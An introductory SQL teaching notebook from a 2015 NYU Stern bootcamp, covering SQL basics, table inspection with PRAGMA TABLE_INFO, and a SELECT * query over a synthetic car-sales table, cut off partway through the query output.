"text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.4.3" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

ky822/Data_Bootcamp

Code/SQL/SQL_Intro.ipynb

2

372311

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "##SQL Bootcamp\n", "\n", "Sarah Beckett-Hile | NYU Stern School of Business | March 2015 \n", "\n", "**Today's plan**\n", "\n", "* SQL, the tool of business\n", "* Relational Databases\n", "* Why can't I do this in Excel? \n", "* Setting up this course\n", "* Basic Clauses\n", "\n", "###About SQL\n", "\n", "- SQL = \"Structured Query Language\" (pronounced \"S-Q-L\" or \"sequel\") \n", "\n", "- Database language of choice for most businesses\n", "\n", "- The software optimized for storing relational databases that you access with SQL varies. Relational Database Management Systems (RDBMS) include MySQL, Microsoft SQL Server, Oracle, and SQLite. We will be working with SQLite.\n", "\n", "- Relational Databases have multiple tables. Visualize it like an Excel file:\n", " - Database = a single Excel file/workbook\n", " - Table = a single worksheet in the same Excel file\n", "\n", "- SQL lets you perform four basic functions: C.R.U.D. = Create, Read, Update, Delete\n", " \n", "- \"Read\" is all you'll need for business analytics\n", "\n", "- Additional reading: http://www.w3schools.com/sql/sql_intro.asp\n", "\n", "- Find examples of queries for business analysis at botton of this lesson page\n", "\n", "###About this file \n", "\n", "* We'll use SQL in Python, specifically an IPython Notebook\n", "* No need to know what that means, but be sure you have SQL_support_code.py saved in the same folder as this file. \n", " - Download if you haven't already: https://www.dropbox.com/s/dacxdvkk11tyr4n/SQL_support_code.py?dl=0\n", "* All SQL queries are in red\n", "* If you get stumped on a challenge, there are cheats at the bottom of a challenge cell. You'll see something like \"#print(cheat1)\". Delete the hash and run the cell (SHIFT-RETURN). Once you've figured it out, *replace the hash*, and try again." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###### TO GET STARTED, CLICK \"CELL\" IN THE MENU BAR ABOVE, THEN SELECT \"RUN ALL\"" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [], "source": [ "from SQL_support_code import *" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Structure and Formatting Query Basics:\n", "- Indentations and Returns:\n", " - Mostly arbitrary in SQL\n", " - Usually for readability\n", "\n", "- Capitalization:\n", " - Convention to put keywords (functions, clauses) in CAPS\n", " - Consistency is best\n", "\n", "- Order of Clauses:\n", " - Very strict\n", " - Not all clauses need to be present in a query, but when they are present, then they must be in the correct order\n", " - Below are the major clauses that we are going to cover. Use this list as reference if you are getting errors with your queries - there's a chance you just have the clauses in the wrong order:\n", " SELECT\n", " FROM\n", " JOIN...ON \n", " WHERE\n", " GROUP BY\n", " UNION\n", " ORDER BY\n", " LIMIT\n", "\n", "### Reading a table's structure:\n", "\n", " PRAGMA TABLE_INFO(table_name)\n", "\n", "Running this will let you see the column heads and data types of any table. \n", "\n", "The SQL query above only works for SQLite, which is what we're using here. If you're interested in knowing the equivalent versions for other RDBMS options, see the table below." ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Microsoft SQL Server</th>\n", " <th>MySQL</th>\n", " <th>Oracle</th>\n", " <th>SQLite</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>Reading a table</th>\n", " <td> SP_HELP table_name</td>\n", " <td> DESCRIBE table_name</td>\n", " <td> DESCRIBE table_table</td>\n", " <td> PRAGMA TABLE_INFO(table_name)</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Microsoft SQL Server MySQL \\\n", "Reading a table SP_HELP table_name DESCRIBE table_name \n", "\n", " Oracle SQLite \n", "Reading a table DESCRIBE table_table PRAGMA TABLE_INFO(table_name) " ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "describe_differences" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "These are the names of the tables in our mini SQLite database:\n", "\n", " sales_table\n", " car_table\n", " salesman_table\n", " cust_table\n", " \n", "####Start by looking at the columns and their data types in the sales_table." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>cid</th>\n", " <th>name</th>\n", " <th>type</th>\n", " <th>notnull</th>\n", " <th>dflt_value</th>\n", " <th>pk</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 0</td>\n", " <td> id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 1</td>\n", " <td> model_id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 2</td>\n", " <td> customer_id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 3</td>\n", " <td> revenue</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 4</td>\n", " <td> payment_type</td>\n", " <td> TEXT</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 5</td>\n", " <td> salesman_id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 6</td>\n", " <td> date</td>\n", " <td> TEXT</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " cid name type notnull dflt_value pk\n", "0 0 id INTEGER 0 0\n", "1 1 model_id INTEGER 0 0\n", "2 2 customer_id INTEGER 0 0\n", "3 3 revenue INTEGER 0 0\n", "4 4 payment_type TEXT 0 0\n", "5 5 salesman_id INTEGER 0 0\n", "6 6 date TEXT 0 0" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " PRAGMA TABLE_INFO(sales_table)\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Rewrite the query to look at the other tables:" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>cid</th>\n", " <th>name</th>\n", " <th>type</th>\n", " <th>notnull</th>\n", " <th>dflt_value</th>\n", " <th>pk</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 0</td>\n", " <td> id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 1</td>\n", " <td> model_id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 2</td>\n", " <td> customer_id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 3</td>\n", " <td> revenue</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 4</td>\n", " <td> payment_type</td>\n", " <td> TEXT</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 5</td>\n", " <td> salesman_id</td>\n", " <td> INTEGER</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 6</td>\n", " <td> date</td>\n", " <td> TEXT</td>\n", " <td> 0</td>\n", " <td> </td>\n", " <td> 0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " cid name type notnull dflt_value pk\n", "0 0 id INTEGER 0 0\n", "1 1 model_id INTEGER 0 0\n", "2 2 customer_id INTEGER 0 0\n", "3 3 revenue INTEGER 0 0\n", "4 4 payment_type TEXT 0 0\n", "5 5 salesman_id INTEGER 0 0\n", "6 6 date TEXT 0 0" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " PRAGMA TABLE_INFO(sales_table)\n", " ''')\n", "#print(describe_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Different RDBMS have different datatypes available:\n", "- Oracle: http://docs.oracle.com/cd/B10501_01/appdev.920/a96624/03_types.htm\n", "- MySQL:\n", " - Numeric: http://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html\n", " - Date/time: http://dev.mysql.com/doc/refman/5.0/en/date-and-time-type-overview.html\n", " - String/text: http://dev.mysql.com/doc/refman/5.0/en/string-type-overview.html\n", "- SQLite: https://www.sqlite.org/datatype3.html\n", "- Microsoft: http://msdn.microsoft.com/en-us/library/ms187752.aspx" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_____________________\n", "__________\n", "__________\n", "___________\n", "_______" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#SELECT & FROM:\n", "\n", "- Basically every \"read\" query will contain a SELECT and FROM clause\n", "- In the SELECT clause, you tell SQL which columns you want to see\n", "- In the FROM clause, you tell SQL the table where those columns are located \n", "- More on SELECT: http://www.w3schools.com/sql/sql_select.asp\n", "_______\n", "\n", "###SELECT * (ALL COLUMNS) \n", "\n", " SELECT # specifies which columns you want to see \n", " * # asterisk returns all columns\n", " FROM # specifies the table or tables where these columns can be found\n", " table_name\n", "\n", "Use an asterisk to tell SQL to return all columns from the table:" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> 54858</td>\n", " <td> 36</td>\n", " <td> 237906</td>\n", " <td> 21222</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/7/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> 43161</td>\n", " <td> 20</td>\n", " <td> 967016</td>\n", " <td> 19140</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/26/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> 92495</td>\n", " <td> 31</td>\n", " <td> 633030</td>\n", " <td> 19010</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> 78000</td>\n", " <td> 51</td>\n", " <td> 341877</td>\n", " <td> 22022</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> 13154</td>\n", " <td> 75</td>\n", " <td> 720210</td>\n", " <td> 21409</td>\n", " <td> cash</td>\n", " <td> 215</td>\n", " <td> 1/20/2014</td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> 36535</td>\n", " <td> 31</td>\n", " <td> 908558</td>\n", " <td> 19894</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/30/2014</td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> 22813</td>\n", " <td> 46</td>\n", " <td> 705508</td>\n", " <td> 12960</td>\n", " <td> finance</td>\n", " <td> 813</td>\n", " <td> 1/29/2014</td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> 56245</td>\n", " <td> 36</td>\n", " <td> 248621</td>\n", " <td> 25938</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/19/2014</td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> 88118</td>\n", " <td> 51</td>\n", " <td> 341344</td>\n", " <td> 19844</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/23/2014</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> 84469</td>\n", " <td> 31</td>\n", " <td> 733566</td>\n", " <td> 21441</td>\n", " <td> finance</td>\n", " <td> 492</td>\n", " <td> 1/20/2014</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> 37412</td>\n", " <td> 31</td>\n", " <td> 750195</td>\n", " <td> 17462</td>\n", " <td> cash</td>\n", " <td> 949</td>\n", " <td> 1/11/2014</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> 68513</td>\n", " <td> 31</td>\n", " <td> 461723</td>\n", " <td> 17020</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/18/2014</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> 74380</td>\n", " <td> 20</td>\n", " <td> 468665</td>\n", " <td> 18040</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/5/2014</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> 24047</td>\n", " <td> 75</td>\n", " <td> 556188</td>\n", " <td> 18671</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td> 40603</td>\n", " <td> 51</td>\n", " <td> 241759</td>\n", " <td> 22506</td>\n", " <td> finance</td>\n", " <td> 949</td>\n", " <td> 1/4/2014</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td> 69883</td>\n", " <td> 20</td>\n", " <td> 161369</td>\n", " <td> 20460</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/25/2014</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td> 43338</td>\n", " <td> 46</td>\n", " <td> 731692</td>\n", " <td> 13440</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/29/2014</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td> 39727</td>\n", " <td> 51</td>\n", " <td> 656750</td>\n", " <td> 18634</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/1/2014</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td> 21022</td>\n", " <td> 22</td>\n", " <td> 619020</td>\n", " <td> 17312</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/14/2014</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td> 18303</td>\n", " <td> 36</td>\n", " <td> 413891</td>\n", " <td> 23318</td>\n", " <td> cash</td>\n", " <td> 215</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td> 28176</td>\n", " <td> 20</td>\n", " <td> 965672</td>\n", " <td> 21780</td>\n", " <td> cash</td>\n", " <td> 862</td>\n", " <td> 1/11/2014</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td> 62604</td>\n", " <td> 75</td>\n", " <td> 217720</td>\n", " <td> 19418</td>\n", " <td> cash</td>\n", " <td> 680</td>\n", " <td> 1/30/2014</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td> 83930</td>\n", " <td> 22</td>\n", " <td> 946265</td>\n", " <td> 17756</td>\n", " <td> cash</td>\n", " <td> 813</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td> 87626</td>\n", " <td> 31</td>\n", " <td> 140795</td>\n", " <td> 21441</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td> 10682</td>\n", " <td> 31</td>\n", " <td> 145479</td>\n", " <td> 17905</td>\n", " <td> cash</td>\n", " <td> 949</td>\n", " <td> 1/20/2014</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td> 23444</td>\n", " <td> 20</td>\n", " <td> 961650</td>\n", " <td> 16720</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/1/2014</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td> 87998</td>\n", " <td> 31</td>\n", " <td> 457742</td>\n", " <td> 20778</td>\n", " <td> cash</td>\n", " <td> 680</td>\n", " <td> 1/3/2014</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td> 95912</td>\n", " <td> 75</td>\n", " <td> 978159</td>\n", " <td> 19667</td>\n", " <td> cash</td>\n", " <td> 949</td>\n", " <td> 1/25/2014</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td> 74410</td>\n", " <td> 20</td>\n", " <td> 474218</td>\n", " <td> 19360</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/6/2014</td>\n", " </tr>\n", " <tr>\n", " <th>...</th>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>70</th>\n", " <td> 61014</td>\n", " <td> 36</td>\n", " <td> 253239</td>\n", " <td> 20174</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/21/2014</td>\n", " </tr>\n", " <tr>\n", " <th>71</th>\n", " <td> 18946</td>\n", " <td> 20</td>\n", " <td> 614301</td>\n", " <td> 18480</td>\n", " <td> cash</td>\n", " <td> 680</td>\n", " <td> 1/28/2014</td>\n", " </tr>\n", " <tr>\n", " <th>72</th>\n", " <td> 75834</td>\n", " <td> 51</td>\n", " <td> 168495</td>\n", " <td> 23474</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/10/2014</td>\n", " </tr>\n", " <tr>\n", " <th>73</th>\n", " <td> 57366</td>\n", " <td> 31</td>\n", " <td> 699431</td>\n", " <td> 19231</td>\n", " <td> cash</td>\n", " <td> 813</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " <tr>\n", " <th>74</th>\n", " <td> 57711</td>\n", " <td> 22</td>\n", " <td> 528354</td>\n", " <td> 18865</td>\n", " <td> cash</td>\n", " <td> 225</td>\n", " <td> 1/4/2014</td>\n", " </tr>\n", " <tr>\n", " <th>75</th>\n", " <td> 65870</td>\n", " <td> 36</td>\n", " <td> 751098</td>\n", " <td> 24104</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/23/2014</td>\n", " </tr>\n", " <tr>\n", " <th>76</th>\n", " <td> 22147</td>\n", " <td> 36</td>\n", " <td> 480153</td>\n", " <td> 20436</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/23/2014</td>\n", " </tr>\n", " <tr>\n", " <th>77</th>\n", " <td> 99759</td>\n", " <td> 51</td>\n", " <td> 208677</td>\n", " <td> 22990</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/16/2014</td>\n", " </tr>\n", " <tr>\n", " <th>78</th>\n", " <td> 64406</td>\n", " <td> 20</td>\n", " <td> 349494</td>\n", " <td> 19580</td>\n", " <td> cash</td>\n", " <td> 276</td>\n", " <td> 1/16/2014</td>\n", " </tr>\n", " <tr>\n", " <th>79</th>\n", " <td> 55585</td>\n", " <td> 22</td>\n", " <td> 206310</td>\n", " <td> 17756</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/1/2014</td>\n", " </tr>\n", " <tr>\n", " <th>80</th>\n", " <td> 24710</td>\n", " <td> 75</td>\n", " <td> 185223</td>\n", " <td> 18920</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/16/2014</td>\n", " </tr>\n", " <tr>\n", " <th>81</th>\n", " <td> 53831</td>\n", " <td> 75</td>\n", " <td> 656181</td>\n", " <td> 24646</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/18/2014</td>\n", " </tr>\n", " <tr>\n", " <th>82</th>\n", " <td> 97494</td>\n", " <td> 19</td>\n", " <td> 393613</td>\n", " <td> 14006</td>\n", " <td> cash</td>\n", " <td> 862</td>\n", " <td> 1/14/2014</td>\n", " </tr>\n", " <tr>\n", " <th>83</th>\n", " <td> 13004</td>\n", " <td> 36</td>\n", " <td> 488910</td>\n", " <td> 24890</td>\n", " <td> finance</td>\n", " <td> 813</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " <tr>\n", " <th>84</th>\n", " <td> 30779</td>\n", " <td> 75</td>\n", " <td> 846630</td>\n", " <td> 23401</td>\n", " <td> finance</td>\n", " <td> 147</td>\n", " <td> 1/25/2014</td>\n", " </tr>\n", " <tr>\n", " <th>85</th>\n", " <td> 29708</td>\n", " <td> 51</td>\n", " <td> 534633</td>\n", " <td> 20328</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/29/2014</td>\n", " </tr>\n", " <tr>\n", " <th>86</th>\n", " <td> 14082</td>\n", " <td> 46</td>\n", " <td> 909110</td>\n", " <td> 15200</td>\n", " <td> cash</td>\n", " <td> 813</td>\n", " <td> 1/28/2014</td>\n", " </tr>\n", " <tr>\n", " <th>87</th>\n", " <td> 82119</td>\n", " <td> 19</td>\n", " <td> 628031</td>\n", " <td> 16189</td>\n", " <td> cash</td>\n", " <td> 862</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " <tr>\n", " <th>88</th>\n", " <td> 31815</td>\n", " <td> 46</td>\n", " <td> 743097</td>\n", " <td> 15040</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/25/2014</td>\n", " </tr>\n", " <tr>\n", " <th>89</th>\n", " <td> 32345</td>\n", " <td> 22</td>\n", " <td> 476047</td>\n", " <td> 20197</td>\n", " <td> finance</td>\n", " <td> 862</td>\n", " <td> 1/19/2014</td>\n", " </tr>\n", " <tr>\n", " <th>90</th>\n", " <td> 63526</td>\n", " <td> 51</td>\n", " <td> 862765</td>\n", " <td> 23232</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/23/2014</td>\n", " </tr>\n", " <tr>\n", " <th>91</th>\n", " <td> 20256</td>\n", " <td> 19</td>\n", " <td> 597655</td>\n", " <td> 16734</td>\n", " <td> cash</td>\n", " <td> 215</td>\n", " <td> 1/16/2014</td>\n", " </tr>\n", " <tr>\n", " <th>92</th>\n", " <td> 15930</td>\n", " <td> 36</td>\n", " <td> 486534</td>\n", " <td> 20960</td>\n", " <td> cash</td>\n", " <td> 862</td>\n", " <td> 1/26/2014</td>\n", " </tr>\n", " <tr>\n", " <th>93</th>\n", " <td> 68446</td>\n", " <td> 75</td>\n", " <td> 339830</td>\n", " <td> 24148</td>\n", " <td> cash</td>\n", " <td> 225</td>\n", " <td> 1/22/2014</td>\n", " </tr>\n", " <tr>\n", " <th>94</th>\n", " <td> 68330</td>\n", " <td> 20</td>\n", " <td> 283797</td>\n", " <td> 19140</td>\n", " <td> cash</td>\n", " <td> 862</td>\n", " <td> 1/9/2014</td>\n", " </tr>\n", " <tr>\n", " <th>95</th>\n", " <td> 85407</td>\n", " <td> 22</td>\n", " <td> 635204</td>\n", " <td> 21751</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/18/2014</td>\n", " </tr>\n", " <tr>\n", " <th>96</th>\n", " <td> 42428</td>\n", " <td> 75</td>\n", " <td> 619016</td>\n", " <td> 20413</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/11/2014</td>\n", " </tr>\n", " <tr>\n", " <th>97</th>\n", " <td> 37620</td>\n", " <td> 51</td>\n", " <td> 183947</td>\n", " <td> 20328</td>\n", " <td> finance</td>\n", " <td> 949</td>\n", " <td> 1/3/2014</td>\n", " </tr>\n", " <tr>\n", " <th>98</th>\n", " <td> 96344</td>\n", " <td> 20</td>\n", " <td> 731677</td>\n", " <td> 17600</td>\n", " <td> finance</td>\n", " <td> 680</td>\n", " <td> 1/15/2014</td>\n", " </tr>\n", " <tr>\n", " <th>99</th>\n", " <td> 53062</td>\n", " <td> 31</td>\n", " <td> 907549</td>\n", " <td> 19894</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/28/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>100 rows × 7 columns</p>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id \\\n", "0 54858 36 237906 21222 finance 276 \n", "1 43161 20 967016 19140 finance 225 \n", "2 40112 46 819010 14720 cash 147 \n", "3 92495 31 633030 19010 finance 215 \n", "4 78000 51 341877 22022 finance 803 \n", "5 13154 75 720210 21409 cash 215 \n", "6 36535 31 908558 19894 finance 215 \n", "7 22813 46 705508 12960 finance 813 \n", "8 56245 36 248621 25938 cash 492 \n", "9 88118 51 341344 19844 finance 215 \n", "10 84469 31 733566 21441 finance 492 \n", "11 37412 31 750195 17462 cash 949 \n", "12 68513 31 461723 17020 cash 147 \n", "13 74380 20 468665 18040 finance 803 \n", "14 24047 75 556188 18671 finance 225 \n", "15 40603 51 241759 22506 finance 949 \n", "16 69883 20 161369 20460 finance 215 \n", "17 43338 46 731692 13440 finance 225 \n", "18 39727 51 656750 18634 finance 215 \n", "19 21022 22 619020 17312 cash 492 \n", "20 18303 36 413891 23318 cash 215 \n", "21 28176 20 965672 21780 cash 862 \n", "22 62604 75 217720 19418 cash 680 \n", "23 83930 22 946265 17756 cash 813 \n", "24 87626 31 140795 21441 finance 225 \n", "25 10682 31 145479 17905 cash 949 \n", "26 23444 20 961650 16720 finance 215 \n", "27 87998 31 457742 20778 cash 680 \n", "28 95912 75 978159 19667 cash 949 \n", "29 74410 20 474218 19360 finance 276 \n", ".. ... ... ... ... ... ... \n", "70 61014 36 253239 20174 finance 215 \n", "71 18946 20 614301 18480 cash 680 \n", "72 75834 51 168495 23474 cash 492 \n", "73 57366 31 699431 19231 cash 813 \n", "74 57711 22 528354 18865 cash 225 \n", "75 65870 36 751098 24104 cash 492 \n", "76 22147 36 480153 20436 finance 225 \n", "77 99759 51 208677 22990 cash 492 \n", "78 64406 20 349494 19580 cash 276 \n", "79 55585 22 206310 17756 finance 276 \n", "80 24710 75 185223 18920 cash 147 \n", "81 53831 75 656181 24646 finance 803 \n", "82 97494 19 393613 14006 cash 862 \n", "83 13004 36 488910 24890 finance 813 \n", "84 30779 75 846630 23401 finance 147 \n", "85 29708 51 534633 20328 finance 215 \n", "86 14082 46 909110 15200 cash 813 \n", "87 82119 19 628031 16189 cash 862 \n", "88 31815 46 743097 15040 cash 147 \n", "89 32345 22 476047 20197 finance 862 \n", "90 63526 51 862765 23232 finance 276 \n", "91 20256 19 597655 16734 cash 215 \n", "92 15930 36 486534 20960 cash 862 \n", "93 68446 75 339830 24148 cash 225 \n", "94 68330 20 283797 19140 cash 862 \n", "95 85407 22 635204 21751 finance 803 \n", "96 42428 75 619016 20413 cash 147 \n", "97 37620 51 183947 20328 finance 949 \n", "98 96344 20 731677 17600 finance 680 \n", "99 53062 31 907549 19894 finance 225 \n", "\n", " date \n", "0 1/7/2014 \n", "1 1/26/2014 \n", "2 1/17/2014 \n", "3 1/13/2014 \n", "4 1/12/2014 \n", "5 1/20/2014 \n", "6 1/30/2014 \n", "7 1/29/2014 \n", "8 1/19/2014 \n", "9 1/23/2014 \n", "10 1/20/2014 \n", "11 1/11/2014 \n", "12 1/18/2014 \n", "13 1/5/2014 \n", "14 1/12/2014 \n", "15 1/4/2014 \n", "16 1/25/2014 \n", "17 1/29/2014 \n", "18 1/1/2014 \n", "19 1/14/2014 \n", "20 1/17/2014 \n", "21 1/11/2014 \n", "22 1/30/2014 \n", "23 1/13/2014 \n", "24 1/13/2014 \n", "25 1/20/2014 \n", "26 1/1/2014 \n", "27 1/3/2014 \n", "28 1/25/2014 \n", "29 1/6/2014 \n", ".. ... \n", "70 1/21/2014 \n", "71 1/28/2014 \n", "72 1/10/2014 \n", "73 1/12/2014 \n", "74 1/4/2014 \n", "75 1/23/2014 \n", "76 1/23/2014 \n", "77 1/16/2014 \n", "78 1/16/2014 \n", "79 1/1/2014 \n", "80 1/16/2014 \n", "81 1/18/2014 \n", "82 1/14/2014 \n", "83 1/12/2014 \n", "84 1/25/2014 \n", "85 1/29/2014 \n", "86 1/28/2014 \n", "87 1/12/2014 \n", "88 1/25/2014 \n", "89 1/19/2014 \n", "90 1/23/2014 \n", "91 1/16/2014 \n", "92 1/26/2014 \n", "93 1/22/2014 \n", "94 1/9/2014 \n", "95 1/18/2014 \n", "96 1/11/2014 \n", "97 